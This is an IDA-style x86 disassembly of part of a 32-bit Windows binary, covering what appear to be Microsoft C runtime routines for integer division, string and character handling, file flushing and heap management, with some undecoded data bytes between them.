		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------

loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596

loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi

loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi

loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB334
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645

loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl

loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------

loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA

loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD

loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------

loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh

loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0

loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax

loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------

loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C504, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------

loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD

loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------

loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E

loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824

loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB334, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E

loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------

loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 267084Ch
		cmp	eax, 7Ah
		jz	short loc_41D8BF

loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C2F8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax

loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7

loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------

loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB334, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB344
		call	near ptr 2810000h
		nop
		cmp	eax, esi
		jz	short loc_41D8B0

loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax

loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 24h
		dd 0B7E2348Ch, 0C661414Eh, 99221C35h, 0A164E3FFh, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 4047E8E8h, 33900245h, 89D48AD2h
		dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 453FCEE8h, 0C90CA302h,	19E8004Dh
		dd 0A3000058h, 4DB2E8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2452628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 341CE856h, 50900225h, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB2F0, 1
		jnz	short loc_41DA37
		call	sub_423590

loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2C0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB2F0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC6C0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF

loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB

loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26509C3h
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 267084Ch
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------

loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp

loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------

loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------

loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh

loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------

loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5A0, esi
		jle	short loc_41DC4E

loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------

loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax

loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_41DC01

loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi

loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2670E16h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 26C0596h
		nop
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------

loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 2880000h
		nop
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F

loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al

loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC

loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------

loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		call	near ptr 2660000h
		nop
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65

loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al

loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52

loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx

loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1

loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------

loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx

loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93

loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF

loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 472217E8h
		dd 0A3C08502h, 4DC904h,	93E83674h, 83FFFFFEh, 8A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0DEE8004Dh
		dd 90024630h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h
		dd 21BEE890h, 0C0850238h, 4DC8FCA3h, 0C3017500h, 4244C8Bh
		dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h
		dd 0D8900h, 0C7004DC9h,	4DC8E805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC8F8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC8FC
		lea	ecx, [eax+ecx*4]

loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------

loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
